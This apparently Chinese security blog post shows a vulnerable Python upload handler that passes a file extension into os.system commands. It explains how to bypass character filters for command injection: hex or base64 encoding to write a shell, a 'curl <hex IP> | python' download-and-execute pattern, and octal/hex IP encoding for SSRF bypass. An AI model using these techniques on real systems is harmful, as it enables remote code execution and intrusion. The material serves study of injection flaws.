小密圈专题(2)-命令执行绕过
正文
心明表哥的一个提问,大概就是一个文件后缀名可命令执行,但是没法用. / \
,不然会被误处理。
if file_src == "vpn_logo_upload":
data = request.files.vpn_logo
filename = data.filename
if data.file:
file_ext = os.path.splitext(filename)[1]
output_path = "/usr/vtm/var/www/html/vpn/upload/" + "vpn_logo" + file_ext
bak_tag = False
bak_file_path = output_path + ".bak"
if os.path.exists(output_path):
cmd = "mv -f " + output_path + " " + bak_file_path
os.system(cmd)
bak_tag = True
write_file(filename, data.file, output_path)
file_size = os.path.getsize(output_path)
file_type = mimetypes.guess_type(output_path)
del_cmd = "rm -f " + output_path
if file_type[0] != "image/jpeg" and file_type[0] != "image/png" and file_type[0] != "image/gif":
result = {"return": -2, "reason": file_type[0]}
os.system(del_cmd)
elif file_size < file_size_1M:
result["data"]["new_name"] = "vpn_logo" + file_ext
else:
result = {"return": -2, "reason": "file is too large"}
os.system(del_cmd)
if bak_tag:
bak_cmd = "mv -f " + bak_file_path + " " + output_path
os.system(bak_cmd)
1. 编码
linux有一些编码工具,base64,16进制
base64,并不是很好用,因为base64有时候会出现`/`字符
编码: echo "hello" | base64
解码: echo "aGVsbG8K" | base64 -d
16进制
编码: echo "hello" | xxd -p
解码: echo "68656c6c6f0a" | xxd -r -p
优缺点: 存在字符长度问题,当然如果是无法连接外网的时候,这个还是能写shell的
2.远程下载执行
不能存在.
,所以curl 16进制ip | python
,最好用flask或者其他的创建一个web服务吧,apache的话会出400错误,虽然理论可以自定义的.
补充内容: 好像大家对16进制这个有点误解,这个在ssrf中绕过是经常使用的.
十进制 ---||||||> 十六进制 ---||||||> 八进制 然后在访问时 指定协议然后加个0
http://0[八进制] 比如 115.239.210.26 首先用.分割数字 115 239 210 26 然后选择10进制转换16进制!
(要用0来表示前缀,可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样!)
首先把这四段数字给 转成 16 进制!结果:73 ef d2 1a 然后把 73efd21a 这十六进制一起转换成8进制!
结果:16373751032
然后指定协议 http:// 用0表示前缀 加上结果 链接:
http://0016373751032
类似的栋栋师傅的姿势
用16进制比bash64更通用,再补充一个,很多时候可能会遇到没有写权限,常规思路可能是去找有写权限的目录,不过费时费力,下面这个技巧可能会更简单一些
know it then do it
【推荐】2025 HarmonyOS 鸿蒙创新赛正式启动,百万大奖等你挑战
【推荐】博客园的心动:当一群程序员决定开源共建一个真诚相亲平台
【推荐】开源 Linux 服务器运维管理面板 1Panel V2 版本正式发布
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 还在手写JSON调教大模型?.NET 9有新玩法
· 复杂业务系统线上问题排查过程
· 通过抓包,深入揭秘MCP协议底层通信
· 记一次.NET MAUI项目中绑定Android库实现硬件控制的开发经历
· 糊涂啊!这个需求居然没想到用时间轮来解决
· Coze Studio:字节跳动 Coze 的开源版本来了!第一时间深度解析
· 为大模型 MCP Code Interpreter 而生:C# Runner 开源发布
· 复杂业务系统线上问题排查过程
· 独立开发:高效集成大模型,看这篇就够了
· 在SqlSugar的开发框架的Vue3+ElementPlus前端中增加对报表模块的封装处理,实现常